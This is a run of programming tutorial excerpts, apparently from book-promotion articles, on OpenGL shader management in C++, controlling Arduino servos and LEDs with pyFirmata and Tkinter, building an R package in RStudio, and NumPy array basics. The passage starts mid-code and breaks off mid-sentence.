glDeleteShader(m_fragmentShaderID); //print the error log and quit std::printf("%sn", &(errorLog[0])); Exception("Shaders failed to link!"); } Lastly, if we are successful in the linking process, we need to clean it up a bit. First, we detach the shaders from the linker using the glDetachShader() method. Next, since we have a completed shader program, we no longer need to keep the shaders in memory, so we delete each shader with a call to the glDeleteShader() method. Again, this will ensure we do not leak any memory in our shader program creation process: glDetachShader(m_programID, m_vertexShaderID); glDetachShader(m_programID, m_fragmentShaderID); glDeleteShader(m_vertexShaderID); glDeleteShader(m_fragmentShaderID); } We now have a simplified way of linking our shaders into a working shader program. We can call this interface to the underlying API calls by simply using one line of code, similar to the following one: shaderManager.LinkShaders(); So that handles the process of compiling and linking our shaders, but there is another key aspect to working with shaders, which is the passing of data to and from the running program/the game and the shader programs running on the GPU. We will look at this process and how we can abstract it into an easy-to-use interface for our engine next. Working with shader data One of the most important aspects of working with shaders is the ability to pass data to and from the shader programs running on the GPU. This can be a deep topic, and much like other topics in this book has had its own dedicated books. We are going to stay at a higher level when discussing this topic and again will focus on the two needed shader types for basic rendering: the vertex and fragment shaders. To begin with, let's take a look at how we send data to a shader using the vertex attributes and Vertex Buffer Objects (VBO). A vertex shader has the job of processing the data that is connected to the vertex, doing any modifications, and then passing it to the next stage of the rendering pipeline. This occurs once per vertex. In order for the shader to do its thing, we need to be able to pass it data. To do this, we use what are called vertex attributes, and they usually work hand in hand with what is referred to as VBO. For the vertex shader, all per-vertex input attributes are defined using the keyword in. So, for example, if we wanted to define a vector 3 input attribute named VertexColour, we could write something like the following: in vec3 VertexColour; Now, the data for the VertexColour attribute has to be supplied by the program/game. This is where VBO come in. In our main game or program, we make the connection between the input attribute and the vertex buffer object, and we also have to define how to parse or step through the data. That way, when we render, the OpenGL can pull data for the attribute from the buffer for each call of the vertex shader. Let's take a look a very simple vertex shader: #version 410 in vec3 VertexPosition; in vec3 VertexColour; out vec3 Colour; void main(){ Colour = VertexColour; gl_Position = vec4(VertexPosition, 1.0); } In this example, there are just two input variables for this vertex shader, VertexPosition and VertexColor. Our main OpenGL program needs to supply the data for these two attributes for each vertex. We will do so by mapping our polygon/mesh data to these variables. We also have one output variable named Colour, which will be sent to the next stage of the rendering pipeline, the fragment shader. In this example, Colour is just an untouched copy of VertexColour. The VertexPosition attribute is simply expanded and passed along to the OpenGL API output variable gl_Position for more processing. Next, let's take a look at a very simple fragment shader: #version 410 in vec3 Colour; out vec4 FragColour; void main(){ FragColour = vec4(Colour, 1.0); } In this fragment shader example, there is only one input attribute, Colour. This input corresponds to the output of the previous rendering stage, the vertex shader's Colour output. For simplicity's sake, we are just expanding the Colour and outputting it as the variable FragColour for the next rendering stage. That sums up the shader side of the connection, so how do we compose and send the data from inside our engine? We can accomplish this in basically four steps. First, we create a Vertex Array Object (VAO) instance to hold our data: GLunit vao; Next, we create and populate the VBO for each of the shaders' input attributes. We do this by first creating a VBO variable, then, using the glGenBuffers() method, we generate the memory for the buffer objects. We then create handles to the different attributes we need buffers for, assigning them to elements in the VBO array. Finally, we populate the buffers for each attribute by first calling the glBindBuffer() method, specifying the type of object being stored. In this case, it is a GL_ARRAY_BUFFER for both attributes. Then we call the glBufferData() method, passing the type, size, and handle to bind. The last argument for the glBufferData() method is one that gives OpenGL a hint about how the data will be used so that it can determine how best to manage the buffer internally. For full details about this argument, take a look at the OpenGL documentation: GLuint vbo[2]; glGenBuffers(2, vbo); GLuint positionBufferHandle = vbo[0]; GLuint colorBufferHandle = vbo[1]; glBindBuffer(GL_ARRAY_BUFFER,positionBufferHandle); glBufferData(GL_ARRAY_BUFFER, 9 * sizeof(float), positionData, GL_STATIC_DRAW); glBindBuffer(GL_ARRAY_BUFFER, colorBufferHandle); glBufferData(GL_ARRAY_BUFFER, 9 * sizeof(float), colorData, GL_STATIC_DRAW); The third step is to create and define the VAO. This is how we will define the relationship between the input attributes of the shader and the buffers we just created. The VAO contains this information about the connections. To create a VAO, we use the glGenVertexArrays() method. This gives us a handle to our new object, which we store in our previously created VAO variable. Then, we enable the generic vertex attribute indexes 0 and 1 by calling the glEnableVertexAttribArray() method. By making the call to enable the attributes, we are specifying that they will be accessed and used for rendering. The last step makes the connection between the buffer objects we have created and the generic vertex attribute indexes the match too: glGenVertexArrays( 1, &vao ); glBindVertexArray(vao); glEnableVertexAttribArray(0); glEnableVertexAttribArray(1); glBindBuffer(GL_ARRAY_BUFFER, positionBufferHandle); glVertexAttribPointer(0, 3, GL_FLOAT, GL_FALSE, 0, NULL); glBindBuffer(GL_ARRAY_BUFFER, colorBufferHandle); glVertexAttribPointer(1, 3, GL_FLOAT, GL_FALSE, 0, NULL); Finally, in our Draw() function call, we bind to the VAO and call glDrawArrays() to perform the actual render: glBindVertexArray(vaoHandle);glDrawArrays(GL_TRIANGLES, 0, 3 ); Before we move on to another way to pass data to the shader, there is one more piece of this attribute connection structure we need to discuss. As mentioned, the input variables in a shader are linked to the generic vertex attribute we just saw, at the time of linking. When we need to specify the relationship structure, we have a few different choices. We can use what are known as layout qualifiers within the shader code itself. The following is an example: layout (location=0) in vec3 VertexPosition; Another choice is to just let the linker create the mapping when linking, and then query for them afterward. The third and the one I personally prefer is to specify the relationship prior to the linking process by making a call to the glBindAttribLocation() method. We will see how this is implemented shortly when we discuss how to abstract these processes. We have described how we can pass data to a shader using attributes, but there is another option: uniform variables. Uniform variables are specifically used for data that changes infrequently. For example, matrices are great candidates for uniform variables. Within a shader, a uniform variable is read-only. That means the value can only be changed from outside the shader. They can also appear in multiple shaders within the same shader program. They can be declared in one or more shaders within a program, but if a variable with a given name is declared in more than one shader, its type must be the same in all shaders. This gives us insight into the fact that the uniform variables are actually held in a shared namespace for the whole of the shader program. To use a uniform variable in your shader, you first have to declare it in the shader file using the uniform identifier keyword. The following is what this might look like: uniform mat4 ViewMatrix; We then need to provide the data for the uniform variable from inside our game/program. We do this by first finding the location of the variable using the glGetUniformLocation() method. Then we assign a value to the found location using one of the glUniform() methods. The code for this process could look something like the following: GLuint location = glGetUniformLocation(programHandle," ViewMatrix "); if( location >= 0 ) { glUniformMatrix4fv(location, 1, GL_FALSE, &viewMatrix [0][0]) } We then assign a value to the uniform variable's location using the glUniformMatrix4fv() method. The first argument is the uniform variable's location. The second argument is the number of matrices that are being assigned. The third is a GL bool type specifying whether or not the matrix should be transposed. Since we are using the GLM library for our matrices, a transpose is not required. If you were implementing the matrix using data that was in row-major order, instead of column-major order, you might need to use the GL_TRUE type for this argument. The last argument is a pointer to the data for the uniform variable. Uniform variables can be any GLSL type, and this includes complex types such as structures and arrays. The OpenGL API provides a glUniform() function with the different suffixes that match each type. For example, to assign to a variable of type vec3, we would use glUniform3f() or glUniform3fv() methods. (the v denotes multiple values in the array). So, those are the concepts and techniques for passing data to and from our shader programs. However, as we did for the compiling and linking of our shaders, we can abstract these processes into functions housed in our ShaderManager class. We are going to focus on working with attributes and uniform variables. First, we will look at the abstraction of adding attribute bindings using the AddAttribute() function of the ShaderManger class. This function takes one argument, the attribute's name, to be bound as a string. We then call the glBindAttribLocation() function, passing the program's handle and the current index or number of attributes, which we increase on call, and finally the C string conversion of the attributeName string, which provides a pointer to the first character in the string array. This function must be called after compilation, but before the linking of the shader program: void ShaderManager::AddAttribute(const std::string& attributeName) { glBindAttribLocation(m_programID, m_numAttributes++, attributeName.c_str()); } For the uniform variables, we create a function that abstracts looking up the location of the uniform in the shader program, the GetUniformLocation() function. This function again takes only one variable which is a uniform name in the form of a string. We then create a temporary holder for the location and assign it the returned value of the glGetUniformLocation() method call. We check to make sure the location is valid, and if not we throw an exception letting us know about the error. Finally, we return the valid location if found: GLint ShaderManager::GetUniformLocation(const std::string& uniformName) { GLint location = glGetUniformLocation(m_programID, uniformName.c_str()); if (location == GL_INVALID_INDEX) { Exception("Uniform " + uniformName + " not found in shader!"); } return location; } This gives us the abstraction for binding our data, but we still need to assign which shader should be used for a certain draw call, and to activate any attributes we need. To accomplish this, we create a function in the ShaderManager called Use(). This function will first set the current shader program as the active one using the glUseProgram() API method call. We then use a for loop to step through the list of attributes for the shader program, activating each one: void ShaderManager::Use(){ glUseProgram(m_programID); for (int i = 0; i < m_numAttributes; i++) { glEnableVertexAttribArray(i); } } Of course, since we have an abstracted way to enable the shader program, it only makes sense that we should have a function to disable the shader program. This function is very similar to the Use() function, but in this case, we are setting the program in use to 0, effectively making it NULL, and we use the glDisableVertexAtrribArray() method to disable the attributes in the for loop: void ShaderManager::UnUse() { glUseProgram(0); for (int i = 0; i < m_numAttributes; i++) { glDisableVertexAttribArray(i); } } The net effect of this abstraction is we can now set up our entire shader program structure with a few simple calls. Code similar to the following would create and compile the shaders, add the necessary attributes, link the shaders into a program, locate a uniform variable, and create the VAO and VBO for a mesh: shaderManager.CompileShaders("Shaders/SimpleShader.vert", "Shaders/SimpleShader.frag"); shaderManager.AddAttribute("vertexPosition_modelspace"); shaderManager.AddAttribute("vertexColor"); shaderManager.LinkShaders(); MatrixID = shaderManager.GetUniformLocation("ModelViewProjection"); m_model.Init("Meshes/Dwarf_2_Low.obj", "Textures/dwarf_2_1K_color.png"); Then, in our Draw loop, if we want to use this shader program to draw, we can simply use the abstracted functions to activate and deactivate our shader, similar to the following code: shaderManager.Use(); m_model.Draw(); shaderManager.UnUse(); This makes it much easier for us to work with and test out advanced rendering techniques using shaders. Here in this article, we have discussed how advanced rendering techniques, hands-on practical knowledge of game physics and shaders and lighting can help you to create advanced games with C++. If you have liked this above article, check out the complete book Mastering C++ game Development.  How to use arrays, lists, and dictionaries in Unity for 3D game development Unity 2D & 3D game kits simplify Unity game development for beginners How AI is changing game development

In this article by Pratik Desai, the author of Python Programming for Arduino, we will cover the following topics: Working with pyFirmata methods Servomotor – moving the motor to a certain angle The Button() widget – interfacing GUI with Arduino and LEDs (For more resources related to this topic, see here.) Working with pyFirmata methods The pyFirmata package provides useful methods to bridge the gap between Python and Arduino's Firmata protocol. Although these methods are described with specific examples, you can use them in various different ways. This section also provides detailed description of a few additional methods. Setting up the Arduino board To set up your Arduino board in a Python program using pyFirmata, you need to specifically follow the steps that we have written down. We have distributed the entire code that is required for the setup process into small code snippets in each step. While writing your code, you will have to carefully use the code snippets that are appropriate for your application. You can always refer to the example Python files containing the complete code. Before we go ahead, let's first make sure that your Arduino board is equipped with the latest version of the StandardFirmata program and is connected to your computer: Depending upon the Arduino board that is being utilized, start by importing the appropriate pyFirmata classes to the Python code. Currently, the inbuilt pyFirmata classes only support the Arduino Uno and Arduino Mega boards: from pyfirmata import Arduino In case of Arduino Mega, use the following line of code: from pyfirmata import ArduinoMega Before we start executing any methods that is associated with handling pins, it is required to properly set the Arduino board. To perform this task, we have to first identify the USB port to which the Arduino board is connected and assign this location to a variable in the form of a string object. For Mac OS X, the port string should approximately look like this: port = '/dev/cu.usbmodemfa1331' For Windows, use the following string structure: port = 'COM3' In the case of the Linux operating system, use the following line of code: port = '/dev/ttyACM0' The port's location might be different according to your computer configuration. You can identify the correct location of your Arduino USB port by using the Arduino IDE. Once you have imported the Arduino class and assigned the port to a variable object, it's time to engage Arduino with pyFirmata and associate this relationship to another variable: board = Arduino(port) Similarly, for Arduino Mega, use this: board = ArduinoMega(port) The synchronization between the Arduino board and pyFirmata requires some time. Adding sleep time between the preceding assignment and the next set of instructions can help to avoid any issues that are related to serial port buffering. The easiest way to add sleep time is to use the inbuilt Python method, sleep(time): from time import sleep sleep(1) The sleep() method takes seconds as the parameter and a floating-point number can be used to provide the specific sleep time. For example, for 200 milliseconds, it will be sleep(0.2). At this point, you have successfully synchronized your Arduino Uno or Arduino Mega board to the computer using pyFirmata. What if you want to use a different variant (other than Arduino Uno or ArduinoMega) of the Arduino board? Any board layout in pyFirmata is defined as a dictionary object. The following is a sample of the dictionary object for the Arduino board: arduino = {     'digital' : tuple(x for x in range(14)),     'analog' : tuple(x for x in range(6)),     'pwm' : (3, 5, 6, 9, 10, 11),     'use_ports' : True,     'disabled' : (0, 1) # Rx, Tx, Crystal     } For your variant of the Arduino board, you have to first create a custom dictionary object. To create this object, you need to know the hardware layout of your board. For example, an Arduino Nano board has a layout similar to a regular Arduino board, but it has eight instead of six analog ports. Therefore, the preceding dictionary object can be customized as follows: nano = {     'digital' : tuple(x for x in range(14)),     'analog' : tuple(x for x in range(8)),     'pwm' : (3, 5, 6, 9, 10, 11),     'use_ports' : True,     'disabled' : (0, 1) # Rx, Tx, Crystal     } As you have already synchronized the Arduino board earlier, modify the layout of the board using the setup_layout(layout) method: board.setup_layout(nano) This command will modify the default layout of the synchronized Arduino board to the Arduino Nano layout or any other variant for which you have customized the dictionary object. Configuring Arduino pins Once your Arduino board is synchronized, it is time to configure the digital and analog pins that are going to be used as part of your program. Arduino board has digital I/O pins and analog input pins that can be utilized to perform various operations. As we already know, some of these digital pins are also capable of PWM. The direct method Now before we start writing or reading any data to these pins, we have to first assign modes to these pins. In the Arduino sketch-based, we use the pinMode function, that is, pinMode(11, INPUT) for this operation. Similarly, in pyFirmata, this assignment operation is performed using the mode method on the board object as shown in the following code snippet: from pyfirmata import Arduino from pyfirmata import INPUT, OUTPUT, PWM   # Setting up Arduino board port = '/dev/cu.usbmodemfa1331' board = Arduino(port)   # Assigning modes to digital pins board.digital[13].mode = OUTPUT board.analog[0].mode = INPUT The pyFirmata library includes classes for the INPUT and OUTPUT modes, which are required to be imported before you utilized them. The preceding example shows the delegation of digital pin 13 as an output and the analog pin 0 as an input. The mode method is performed on the variable assigned to the configured Arduino board using the digital[] and analog[] array index assignment. The pyFirmata library also supports additional modes such as PWM and SERVO. The PWM mode is used to get analog results from digital pins, while SERVO mode helps a digital pin to set the angle of the shaft between 0 to 180 degrees. If you are using any of these modes, import their appropriate classes from the pyFirmata library. Once these classes are imported from the pyFirmata package, the modes for the appropriate pins can be assigned using the following lines of code: board.digital[3].mode = PWM board.digital[10].mode = SERVO Assigning pin modes The direct method of configuring pin is mostly used for a single line of execution calls. In a project containing a large code and complex logic, it is convenient to assign a pin with its role to a variable object. With an assignment like this, you can later utilize the assigned variable throughout the program for various actions, instead of calling the direct method every time you need to use that pin. In pyFirmata, this assignment can be performed using the get_pin(pin_def) method: from pyfirmata import Arduino port = '/dev/cu.usbmodemfa1311' board = Arduino(port)   # pin mode assignment ledPin = board.get_pin('d:13:o') The get_pin() method lets you assign pin modes using the pin_def string parameter, 'd:13:o'. The three components of pin_def are pin type, pin number, and pin mode separated by a colon (:) operator. The pin types ( analog and digital) are denoted with a and d respectively. The get_pin() method supports three modes, i for input, o for output, and p for PWM. In the previous code sample, 'd:13:o' specifies the digital pin 13 as an output. In another example, if you want to set up the analog pin 1 as an input, the parameter string will be 'a:1:i'. Working with pins As you have configured your Arduino pins, it's time to start performing actions using them. Two different types of methods are supported while working with pins: reporting methods and I/O operation methods. Reporting data When pins get configured in a program as analog input pins, they start sending input values to the serial port. If the program does not utilize this incoming data, the data starts getting buffered at the serial port and quickly overflows. The pyFirmata library provides the reporting and iterator methods to deal with this phenomenon. The enable_reporting() method is used to set the input pin to start reporting. This method needs to be utilized before performing a reading operation on the pin: board.analog[3].enable_reporting() Once the reading operation is complete, the pin can be set to disable reporting: board.analog[3].disable_reporting() In the preceding example, we assumed that you have already set up the Arduino board and configured the mode of the analog pin 3 as INPUT. The pyFirmata library also provides the Iterator() class to read and handle data over the serial port. While working with analog pins, we recommend that you start an iterator thread in the main loop to update the pin value to the latest one. If the iterator method is not used, the buffered data might overflow your serial port. This class is defined in the util module of the pyFirmata package and needs to be imported before it is utilized in the code: from pyfirmata import Arduino, util # Setting up the Arduino board port = 'COM3' board = Arduino(port) sleep(5)   # Start Iterator to avoid serial overflow it = util.Iterator(board) it.start() Manual operations As we have configured the Arduino pins to suitable modes and their reporting characteristic, we can start monitoring them. The pyFirmata provides the write() and read() methods for the configured pins. The write() method The write() method is used to write a value to the pin. If the pin's mode is set to OUTPUT, the value parameter is a Boolean, that is, 0 or 1: board.digital[pin].mode = OUTPUT board.digital[pin].write(1) If you have used an alternative method of assigning the pin's mode, you can use the write() method as follows: ledPin = board.get_pin('d:13:o') ledPin.write(1) In case of the PWM signal, the Arduino accepts a value between 0 and 255 that represents the length of the duty cycle between 0 and 100 percent. The PyFiramta library provides a simplified method to deal with the PWM values as instead of values between 0 and 255, as you can just provide a float value between 0 and 1.0. For example, if you want a 50 percent duty cycle (2.5V analog value), you can specify 0.5 with the write() method. The pyFirmata library will take care of the translation and send the appropriate value, that is, 127, to the Arduino board via the Firmata protocol: board.digital[pin].mode = PWM board.digital[pin].write(0.5) Similarly, for the indirect method of assignment, you can use code similar to the following one: pwmPin = board.get_pin('d:13:p') pwmPin.write(0.5) If you are using the SERVO mode, you need to provide the value in degrees between 0 and 180. Unfortunately, the SERVO mode is only applicable for direct assignment of the pins and will be available in future for indirect assignments: board.digital[pin].mode = SERVO board.digital[pin].write(90) The read() method The read() method provides an output value at the specified Arduino pin. When the Iterator() class is being used, the value received using this method is the latest updated value at the serial port. When you read a digital pin, you can get only one of the two inputs, HIGH or LOW, which will translate to 1 or 0 in Python: board.digital[pin].read() The analog pins of Arduino linearly translate the input voltages between 0 and +5V to 0 and 1023. However, in pyFirmata, the values between 0 and +5V are linearly translated into the float values of 0 and 1.0. For example, if the voltage at the analog pin is 1V, an Arduino program will measure a value somewhere around 204, but you will receive the float value as 0.2 while using pyFirmata's read() method in Python. Servomotor – moving the motor to certain angle Servomotors are widely used electronic components in applications such as pan-tilt camera control, robotics arm, mobile robot movements, and so on where precise movement of the motor shaft is required. This precise control of the motor shaft is possible because of the position sensing decoder, which is an integral part of the servomotor assembly. A standard servomotor allows the angle of the shaft to be set between 0 and 180 degrees. The pyFirmata provides the SERVO mode that can be implemented on every digital pin. This prototyping exercise provides a template and guidelines to interface a servomotor with Python. Connections Typically, a servomotor has wires that are color-coded red, black and yellow, respectively to connect with the power, ground, and signal of the Arduino board. Connect the power and the ground of the servomotor to the 5V and the ground of the Arduino board. As displayed in the following diagram, connect the yellow signal wire to the digital pin 13: If you want to use any other digital pin, make sure that you change the pin number in the Python program in the next section. Once you have made the appropriate connections, let's move on to the Python program. The Python code The Python file consisting this code is named servoCustomAngle.py and is located in the code bundle of this book, which can be downloaded from https://www.packtpub.com/books/content/support/19610. Open this file in your Python editor. Like other examples, the starting section of the program contains the code to import the libraries and set up the Arduino board: from pyfirmata import Arduino, SERVO from time import sleep   # Setting up the Arduino board port = 'COM5' board = Arduino(port) # Need to give some time to pyFirmata and Arduino to synchronize sleep(5) Now that you have Python ready to communicate with the Arduino board, let's configure the digital pin that is going to be used to connect the servomotor to the Arduino board. We will complete this task by setting the mode of pin 13 to SERVO: # Set mode of the pin 13 as SERVO pin = 13 board.digital[pin].mode = SERVO The setServoAngle(pin,angle) custom function takes the pins on which the servomotor is connected and the custom angle as input parameters. This function can be used as a part of various large projects that involve servos: # Custom angle to set Servo motor angle def setServoAngle(pin, angle):   board.digital[pin].write(angle)   sleep(0.015) In the main logic of this template, we want to incrementally move the motor shaft in one direction until it achieves the maximum achievable angle (180 degrees) and then move it back to the original position with the same incremental speed. In the while loop, we will ask the user to provide inputs to continue this routine, which will be captured using the raw_input() function. The user can enter character y to continue this routine or enter any other character to abort the loop: # Testing the function by rotating motor in both direction while True:   for i in range(0, 180):     setServoAngle(pin, i)   for i in range(180, 1, -1):     setServoAngle(pin, i)     # Continue or break the testing process   i = raw_input("Enter 'y' to continue or Enter to quit): ")   if i == 'y':     pass   else:     board.exit()     break While working with all these prototyping examples, we used the direct communication method by using digital and analog pins to connect the sensor with Arduino. Now, let's get familiar with another widely used communication method between Arduino and the sensors. This is called I2C communication. The Button() widget – interfacing GUI with Arduino and LEDs Now that you have had your first hands-on experience in creating a Python graphical interface, let's integrate Arduino with it. Python makes it easy to interface various heterogeneous packages within each other and that is what you are going to do. In the next coding exercise, we will use Tkinter and pyFirmata to make the GUI work with Arduino. In this exercise, we are going to use the Button() widget to control the LEDs interfaced with the Arduino board. Before we jump to the exercises, let's build the circuit that we will need for all upcoming programs. The following is a Fritzing diagram of the circuit where we use two different colored LEDs with pull up resistors. Connect these LEDs to digital pins 10 and 11 on your Arduino Uno board, as displayed in the following diagram: While working with the code provided in this section, you will have to replace the Arduino port that is used to define the board variable according to your operating system. Also, make sure that you provide the correct pin number in the code if you are planning to use any pins other than 10 and 11. For some exercises, you will have to use the PWM pins, so make sure that you have correct pins. You can use the entire code snippet as a Python file and run it. But, this might not be possible in the upcoming exercises due to the length of the program and the complexity involved. For the Button() widget exercise, open the exampleButton.py file. The code contains three main components: pyFirmata and Arduino configurations Tkinter widget definitions for a button The LED blink function that gets executed when you press the button As you can see in the following code snippet, we have first imported libraries and initialized the Arduino board using the pyFirmata methods. For this exercise, we are only going to work with one LED and we have initialized only the ledPin variable for it: import Tkinter import pyfirmata from time import sleep port = '/dev/cu.usbmodemfa1331' board = pyfirmata.Arduino(port) sleep(5) ledPin = board.get_pin('d:11:o') As we are using the pyFirmata library for all the exercises in this article, make sure that you have uploaded the latest version of the standard Firmata sketch on your Arduino board. In the second part of the code, we have initialized the root Tkinter widget as top and provided a title string. We have also fixed the size of this window using the minsize() method. In order to get more familiar with the root widget, you can play around with the minimum and maximum size of the window: top = Tkinter.Tk() top.title("Blink LED using button") top.minsize(300,30) The Button() widget is a standard Tkinter widget that is mostly used to obtain the manual, external input stimulus from the user. Like the Label() widget, the Button() widget can be used to display text or images. Unlike the Label() widget, it can be associated with actions or methods when it is pressed. When the button is pressed, Tkinter executes the methods or commands specified by the command option: startButton = Tkinter.Button(top,                              text="Start",                              command=onStartButtonPress) startButton.pack() In this initialization, the function associated with the button is onStartButtonPress and the "Start" string is displayed as the title of the button. Similarly, the top object specifies the parent or the root widget. Once the button is instantiated, you will need to use the pack() method to make it available in the main window. In the preceding lines of code, the onStartButonPress() function includes the scripts that are required to blink the LEDs and change the state of the button. A button state can have the state as NORMAL, ACTIVE, or DISABLED. If it is not specified, the default state of any button is NORMAL. The ACTIVE and DISABLED states are useful in applications when repeated pressing of the button needs to be avoided. After turning the LED on using the write(1) method, we will add a time delay of 5 seconds using the sleep(5) function before turning it off with the write(0) method: def onStartButtonPress():   startButton.config(state=Tkinter.DISABLED)   ledPin.write(1)   # LED is on for fix amount of time specified below   sleep(5)   ledPin.write(0)   startButton.config(state=Tkinter.ACTIVE) At the end of the program, we will execute the mainloop() method to initiate the Tkinter loop. Until this function is executed, the main window won't appear. To run the code, make appropriate changes to the Arduino board variable and execute the program. The following screenshot with a button and title bar will appear as the output of the program. Clicking on the Start button will turn on the LED on the Arduino board for the specified time delay. Meanwhile, when the LED is on, you will not be able to click on the Start button again. Now, in this particular program, we haven't provided sufficient code to safely disengage the Arduino board and it will be covered in upcoming exercises. Summary In this article, we learned about the Python library pyFirmata to interface Arduino to your computer using the Firmata protocol. We build a prototype using pyFirmata and Arduino to control servomotor and also developed another one with GUI, based on the Tkinter library, to control LEDs. Resources for Article: Further resources on this subject: Python Functions : Avoid Repeating Code? [article] Python 3 Designing Tasklist Application [article] The Five Kinds Of Python Functions Python 3.4 Edition [article]

In this tutorial, we will look at the process of creating your own R package. If you are going to create code and put it into production, it's always a good idea to create a package with version control, examples, and other features. Plus, with RStudio, it is easy to do. So, we will use a simple example with one small function to show how easy it is. This tutorial is an excerpt taken from the book Mastering Machine Learning with R - Third Edition written by Cory Lesmeister. The book explores expert techniques for solving data analytics and covers machine learning challenges that can help you gain insights from complex projects and power up your applications. Before getting started, you will need to load two packages: > install.packages("roxygen2") > install.packages("devtools") You now want to open File in RStudio and select New Project, which will put you at this point: Select a new directory as desired, and specify R Package, as shown in the following screenshot: You will now name your package – I've innovatively called this one package – and select Create Project: Go to your Files tab in RStudio and you should see several files populated like this: Notice the folder called R. That is where we will put the R functions for our package. But first, click on Description and fill it out accordingly, and save it. Here is my version, which will be a function to code all missing values in a dataframe to zero: I've left imports and suggests blank. This is where you would load other packages, such as tidyverse or caret. Now, open up the hello.R function in the R folder, and delete all of it. The following format will work nicely: Title: Your package title of course Description: A brief description Param: The parameters for that function; the arguments Return: The values returned Examples: Provide any examples of how to use the function Export: Here, write the function you desire Here is the function for our purposes, which just turns all NAs to zero: You will now go to Build - Configure Build Tools and you should end up here: Click the checkmark for Generate documentation with Roxygen. Doing so will create this popup, which you can close and hit OK. You probably want to rename your function now from hello.R to something relevant. Now comes the moment of truth to build your package. Do this by clicking Build - Clean and Rebuild. Now you can search for your package, and it should appear: Click on it and go through the documentation: There you have it, a useless package, but think of what you can do by packaging your own or your favorite functions, and anyone who inherits your code will thank you. In this tutorial, we went through the process of creating an R package, which can help you and your team put your code into production. We created one user-defined function for our package, but your only limit is your imagination. I hope you've enjoyed it and can implement the methods in here, as well as other methods you learn over time. If you want to learn other concepts of Machine Learning with R, be sure to check out the book Mastering Machine Learning with R - Third Edition. How to make machine learning based recommendations using Julia [Tutorial] The rise of machine learning in the investment industry GitHub Octoverse: top machine learning packages, languages, and projects of 2018

In this article by Armando Fandango author of the book Python Data Analysis - Second Edition, discuss how the NumPy provides a multidimensional array object called ndarray. NumPy arrays are typed arrays of fixed size. Python lists are heterogeneous and thus elements of a list may contain any object type, while NumPy arrays are homogenous and can contain object of only one type. An ndarray consists of two parts, which are as follows: The actual data that is stored in a contiguous block of memory The metadata describing the actual data Since the actual data is stored in a contiguous block of memory hence loading of the large data set as ndarray is affected by availability of large enough contiguous block of memory. Most of the array methods and functions in NumPy leave the actual data unaffected and only modify the metadata. Actually, we made a one-dimensional array that held a set of numbers. The ndarray can have more than a single dimension. (For more resources related to this topic, see here.) Advantages of NumPy arrays The NumPy array is, in general, homogeneous (there is a particular record array type that is heterogeneous)—the items in the array have to be of the same type. The advantage is that if we know that the items in an array are of the same type, it is easy to ascertain the storage size needed for the array. NumPy arrays can execute vectorized operations, processing a complete array, in contrast to Python lists, where you usually have to loop through the list and execute the operation on each element. NumPy arrays are indexed from 0, just like lists in Python. NumPy utilizes an optimized C API to make the array operations particularly quick. We will make an array with the arange() subroutine again. You will see snippets from Jupyter Notebook sessions where NumPy is already imported with instruction import numpy as np. Here's how to get the data type of an array: In: a = np.arange(5) In: a.dtype Out: dtype('int64') The data type of the array a is int64 (at least on my computer), but you may get int32 as the output if you are using 32-bit Python. In both the cases, we are dealing with integers (64 bit or 32 bit). Besides the data type of an array, it is crucial to know its shape. A vector is commonly used in mathematics but most of the time we need higher-dimensional objects. Let's find out the shape of the vector we produced a few minutes ago: In: a Out: array([0, 1, 2, 3, 4]) In: a.shape Out: (5,) As you can see, the vector has five components with values ranging from 0 to 4. The shape property of the array is a tuple; in this instance, a tuple of 1 element, which holds the length in each dimension. Creating a multidimensional array Now that we know how to create a vector, we are set to create a multidimensional NumPy array. After we produce the matrix, we will again need to show its, as demonstrated in the following code snippets: Create a multidimensional array as follows: In: m = np.array([np.arange(2), np.arange(2)]) In: m Out: array([[0, 1], [0, 1]]) We can show the array shape as follows: In: m.shape Out: (2, 2) We made a 2 x 2 array with the arange() subroutine. The array() function creates an array from an object that you pass to it. The object has to be an array, for example, a Python list. In the previous example, we passed a list of arrays. The object is the only required parameter of the array() function. NumPy functions tend to have a heap of optional arguments with predefined default options. Selecting NumPy array elements From time to time, we will wish to select a specific constituent of an array. We will take a look at how to do this, but to kick off, let's make a 2 x 2 matrix again: In: a = np.array([[1,2],[3,4]]) In: a Out: array([[1, 2], [3, 4]]) The matrix was made this time by giving the array() function a list of lists. We will now choose each item of the matrix one at a time, as shown in the following code snippet. Recall that the index numbers begin from 0: In: a[0,0] Out: 1 In: a[0,1] Out: 2 In: a[1,0] Out: 3 In: a[1,1] Out: 4 As you can see, choosing elements of an array is fairly simple. For the array a, we just employ the notation a[m,n], where m and n are the indices of the item in the array. Have a look at the following figure for your reference: NumPy numerical types Python has an integer type, a float type, and complex type; nonetheless, this is not sufficient for scientific calculations. In practice, we still demand more data types with varying precisions and, consequently, different storage sizes of the type. For this reason, NumPy has many more data types. The bulk of the NumPy mathematical types ends with a number. This number designates the count of bits related to the type. The following table (adapted from the NumPy user guide) presents an overview of NumPy numerical types: Type Description bool Boolean (True or False) stored as a bit inti Platform integer (normally either int32 or int64) int8 Byte (-128 to 127) int16 Integer (-32768 to 32767) int32 Integer (-2 ** 31 to 2 ** 31 -1) int64 Integer (-2 ** 63 to 2 ** 63 -1) uint8 Unsigned integer (0 to 255) uint16 Unsigned integer (0 to 65535) uint32 Unsigned integer (0 to 2 ** 32 - 1) uint64 Unsigned integer (0 to 2 ** 64 - 1) float16 Half precision float: sign bit, 5 bits exponent, and 10 bits mantissa float32 Single precision float: sign bit, 8 bits exponent, and 23 bits mantissa float64 or float Double precision float: sign bit, 11 bits exponent, and 52 bits mantissa complex64 Complex number, represented by two 32-bit floats (real and imaginary components) complex128 or complex Complex number, represented by two 64-bit floats (real and imaginary components) For each data type, there exists a matching conversion function: In: np.float64(42) Out: 42.0 In: np.int8(42.0) Out: 42 In: np.bool(42) Out: True In: np.bool(0) Out: False In: np.bool(42.0) Out: True In: np.float(True) Out: 1.0 In: np.float(False) Out: 0.0 Many functions have a data type argument, which is frequently optional: In: np.arange(7, dtype= np.uint16) Out: array([0, 1, 2, 3, 4, 5, 6], dtype=uint16) It is important to be aware that you are not allowed to change a complex number into an integer. Attempting to do that sparks off a TypeError: In: np.int(42.0 + 1.j) Traceback (most recent call last): <ipython-input-24-5c1cd108488d> in <module>() ----> 1 np.int(42.0 + 1.j) TypeError: can't convert complex to int The same goes for conversion of a complex number into a floating-point number. By the way, the j component is the imaginary coefficient of a complex number. Even so, you can convert a floating-point number to a complex number, for example, complex(1.0). The real and imaginary pieces of a complex number can be pulled out with the real() and imag() functions, respectively. Data type objects Data type objects are instances of the numpy.dtype class. Once again, arrays have a data type. To be exact, each element in a NumPy array has the same data type. The data type object can 